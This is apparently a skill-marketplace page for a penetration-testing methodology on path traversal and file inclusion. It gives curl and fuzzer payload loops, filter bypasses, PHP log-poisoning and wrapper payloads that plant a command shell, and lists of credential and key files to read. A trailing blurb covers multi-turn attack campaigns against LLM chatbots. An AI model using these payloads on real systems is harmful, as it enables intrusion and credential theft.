external/anthropic-cybersecurity-skills/skills/performing-directory-traversal-testing/SKILL.md
Test web applications for path traversal and Local/Remote File Inclusion vulnerabilities by manipulating file path parameters, applying encoding and filter-bypass techniques, automating discovery with ffuf and dotdotpwn, and reading high-value files or achieving code execution. Use during authorized penetration tests of file download, view, or include functionality, or when assessing APIs that accept file names or file paths as parameters.
npx skillsauth add seikaikyo/dash-skills performing-directory-traversal-testingInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
apt install dotdotpwn)Find application endpoints that reference files through parameters.
# Common file-handling patterns to look for:
# /download?file=report.pdf
# /view?page=about.html
# /api/files?path=documents/invoice.pdf
# /template?name=header.html
# /include?module=sidebar
# /image?src=photos/avatar.jpg
# /export?format=csv&template=default
# In Burp Suite, search proxy history for file-related parameters
# Filter by parameter names: file, path, page, template, include,
# module, src, doc, document, folder, dir, name, filename
# Test with a known valid file to establish baseline
curl -s "https://target.example.com/download?file=report.pdf" -o /dev/null -w "%{http_code} %{size_download}"
# Try referencing a file that shouldn't be accessible
curl -s "https://target.example.com/download?file=../../../etc/passwd"
Attempt to escape the intended directory and read sensitive files.
# Linux traversal payloads
PAYLOADS=(
"../../../etc/passwd"
"../../../../etc/passwd"
"../../../../../etc/passwd"
"../../../../../../etc/passwd"
"../../../../../../../etc/passwd"
"..%2f..%2f..%2fetc%2fpasswd"
"..%252f..%252f..%252fetc%252fpasswd"
"%2e%2e/%2e%2e/%2e%2e/etc/passwd"
"....//....//....//etc/passwd"
"..;/..;/..;/etc/passwd"
)
for payload in "${PAYLOADS[@]}"; do
echo -n "Testing: $payload -> "
response=$(curl -s "https://target.example.com/download?file=$payload")
if echo "$response" | grep -q "root:"; then
echo "VULNERABLE"
else
echo "Blocked"
fi
done
# Windows traversal payloads
WIN_PAYLOADS=(
"..\..\..\windows\win.ini"
"..%5c..%5c..%5cwindows%5cwin.ini"
"..\/..\/..\/windows/win.ini"
"....\\....\\....\\windows\\win.ini"
)
for payload in "${WIN_PAYLOADS[@]}"; do
echo -n "Testing: $payload -> "
curl -s "https://target.example.com/download?file=$payload" | head -c 100
echo
done
Use various encoding schemes to bypass input validation filters.
# URL encoding bypass
curl -s "https://target.example.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
# Double URL encoding
curl -s "https://target.example.com/download?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"
# UTF-8 encoding
curl -s "https://target.example.com/download?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd"
# Null byte injection (PHP < 5.3.4)
curl -s "https://target.example.com/download?file=../../../etc/passwd%00.pdf"
# Path truncation (Windows)
# Exceeding MAX_PATH (260 chars) to bypass extension checks
LONG_PATH="../../../etc/passwd"
for i in $(seq 1 200); do LONG_PATH="${LONG_PATH}/."; done
curl -s "https://target.example.com/download?file=$LONG_PATH"
# Case manipulation (Windows)
curl -s "https://target.example.com/download?file=..\..\..\..\WiNdOwS\win.ini"
# Dot-dot-slash variations
curl -s "https://target.example.com/download?file=....//....//....//etc/passwd"
curl -s "https://target.example.com/download?file=....//../../../etc/passwd"
# Using absolute path (if filter only blocks relative traversal)
curl -s "https://target.example.com/download?file=/etc/passwd"
Use automated tools for comprehensive traversal testing.
# ffuf with traversal payload list
ffuf -u "https://target.example.com/download?file=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-mc 200 \
-fs 0 \
-t 20 -rate 50 \
-o traversal-results.json -of json
# dotdotpwn for systematic traversal testing
dotdotpwn -m http-url \
-u "https://target.example.com/download?file=TRAVERSAL" \
-k "root:" \
-o /tmp/dotdotpwn-results.txt \
-d 8 -t 200
# Burp Intruder approach:
# 1. Send request to Intruder
# 2. Mark the file parameter value as insertion point
# 3. Load LFI payload list from SecLists
# 4. Add Grep Match rules for: "root:", "[extensions]", "for 16-bit"
# 5. Start attack and review matches
If LFI is confirmed, attempt to escalate to remote code execution.
# PHP LFI to RCE via log poisoning
# Step 1: Inject PHP code into access log
curl -s -A "<?php system(\$_GET['cmd']); ?>" \
"https://target.example.com/"
# Step 2: Include the log file via LFI
curl -s "https://target.example.com/page?file=../../../var/log/apache2/access.log&cmd=id"
# PHP wrapper for file read (base64 encode to avoid parsing)
curl -s "https://target.example.com/page?file=php://filter/convert.base64-encode/resource=config.php"
# PHP wrapper for code execution
curl -s -X POST \
-d "<?php system('id'); ?>" \
"https://target.example.com/page?file=php://input"
# PHP data wrapper
curl -s "https://target.example.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg=="
# Include /proc/self/environ (if readable)
curl -s -A "<?php phpinfo(); ?>" \
"https://target.example.com/page?file=../../../proc/self/environ"
# Session file inclusion
# Write PHP code into session via another parameter
# Then include: /tmp/sess_<PHPSESSID>
Target sensitive configuration and credential files.
# Linux high-value files
HIGH_VALUE_LINUX=(
"/etc/passwd"
"/etc/shadow"
"/etc/hosts"
"/etc/hostname"
"/proc/self/environ"
"/proc/self/cmdline"
"/var/www/html/.env"
"/var/www/html/config.php"
"/var/www/html/wp-config.php"
"/home/user/.ssh/id_rsa"
"/home/user/.bash_history"
"/root/.bash_history"
"/var/log/auth.log"
)
for file in "${HIGH_VALUE_LINUX[@]}"; do
traversal="../../../../../../..$file"
echo -n "$file: "
response=$(curl -s "https://target.example.com/download?file=$traversal")
if [ ${#response} -gt 10 ]; then
echo "READABLE (${#response} bytes)"
else
echo "Not accessible"
fi
done
# Windows high-value files
HIGH_VALUE_WIN=(
"C:\\Windows\\win.ini"
"C:\\Windows\\System32\\drivers\\etc\\hosts"
"C:\\inetpub\\wwwroot\\web.config"
"C:\\Users\\Administrator\\.ssh\\id_rsa"
"C:\\xampp\\apache\\conf\\httpd.conf"
"C:\\xampp\\mysql\\data\\mysql\\user.MYD"
)
| Concept | Description |
|---------|-------------|
| Directory Traversal | Using ../ sequences to navigate to parent directories and access files outside the intended path |
| Local File Inclusion (LFI) | Server-side inclusion of local files, potentially leading to code execution |
| Remote File Inclusion (RFI) | Including files from external URLs (requires allow_url_include=On in PHP) |
| Null Byte Injection | Using %00 to truncate file paths, bypassing extension checks in older PHP versions |
| PHP Wrappers | Protocols like php://filter, php://input, data:// for reading and executing files |
| Log Poisoning | Injecting code into log files and then including them via LFI for code execution |
| Path Canonicalization | The process of resolving relative paths to absolute paths, which can be exploited |
| Tool | Purpose | |------|---------| | Burp Suite Professional | Request interception and Intruder for automated payload testing | | ffuf | Fast fuzzing with LFI/traversal wordlists | | dotdotpwn | Dedicated directory traversal fuzzer with multiple traversal patterns | | LFISuite | Automated LFI exploitation tool with multiple techniques | | SecLists | Comprehensive wordlists including LFI payloads and traversal patterns | | Kadimus | LFI scanning and exploitation tool |
A document download endpoint at /download?file=report.pdf does not validate the file parameter. Replacing the value with ../../../etc/passwd returns the server's password file.
A PHP application includes templates via ?page=home. By poisoning the Apache access log with PHP code in the User-Agent header, then including the log file, the attacker achieves remote code execution.
An image resizing service accepts ?src=images/photo.jpg. The application strips ../ once but does not recurse, so ....//....//etc/passwd bypasses the filter.
A .NET application serves files via ?path=docs\manual.pdf. Traversing to ..\..\web.config exposes the IIS configuration file containing database connection strings.
## Directory Traversal Finding
**Vulnerability**: Path Traversal / Local File Inclusion
**Severity**: High (CVSS 8.6)
**Location**: GET /download?file=../../../etc/passwd
**OWASP Category**: A01:2021 - Broken Access Control
### Reproduction Steps
1. Navigate to https://target.example.com/download?file=report.pdf
2. Replace file parameter: ?file=../../../etc/passwd
3. Server returns contents of /etc/passwd
### Files Retrieved
| File | Impact |
|------|--------|
| /etc/passwd | User enumeration (42 accounts) |
| /var/www/html/.env | Database credentials exposed |
| /home/deploy/.ssh/id_rsa | SSH private key recovered |
| /proc/self/environ | Environment variables with API keys |
### Filter Bypass Required
Original `../` stripped by filter. Successful bypass: `....//....//....//etc/passwd`
### Recommendation
1. Use an allowlist of permitted file names rather than accepting arbitrary paths
2. Resolve the canonical path and verify it stays within the intended directory
3. Run the web server with minimal file system permissions
4. Remove sensitive files from web-accessible directories
5. Disable PHP wrappers (allow_url_include, allow_url_fopen) if not required
tools
Conduct comprehensive GDPR compliance assessments by evaluating data processing activities against EU Regulation 2016/679, including Article 30 records of processing, lawful basis validation, data subject rights implementation, Data Protection Impact Assessments (DPIAs) under Article 35, breach notification procedures, international transfer safeguards (SCCs, adequacy decisions), and technical/organizational measures under Article 32. Use when processing personal data of EU residents, preparing for supervisory authority audits, implementing privacy-by-design for new systems, scoping compliance gaps for M&A due diligence, assessing third-party processors, or responding to data subject access requests at scale. Incorporates 2026 guidance from ICO, EDPB, and post-Data (Use and Access) Act 2025 UK-GDPR considerations. Do not use for implementing specific Article 32 controls — use implementing-gdpr-data-protection-controls; or for DSAR automation — use implementing-gdpr-data-subject-access-request.
tools
Parse Windows forensic artifacts—$MFT/$J (MFTECmd), Prefetch (PECmd), registry hives (RECmd), shellbags, and Amcache—into normalized CSV/JSON with Eric Zimmerman's EZ Tools, then load results into Timeline Explorer for analysis. Use during DFIR/incident-response investigations, after triage collection (e.g. with KAPE), to establish program execution, file/folder access, and persistence evidence from acquired forensic images.
development
Build automated multi-turn adversarial attacks against conversational LLM targets using Microsoft PyRIT's RedTeamingOrchestrator, CrescendoOrchestrator (gradual escalation), and TreeOfAttacksWithPruningOrchestrator (adaptive branching), with scorer feedback loops and persisted conversation memory. Use when single-shot LLM scanning is insufficient and you need multi-turn, scorer-driven AI red-team campaigns against a chatbot or agent.
testing
Stand up MISP, enable and cache curated threat feeds (CIRCL, abuse.ch, Feodo Tracker), apply warninglists to suppress false positives, query indicators with PyMISP, and export attributes as auto-generated Suricata/Sigma/Wazuh detection rules. Use when maturing a MISP instance to actively drive detection, curating threat feeds with quality controls, or automating IOC-to-detection pipelines for the SIEM/IDS.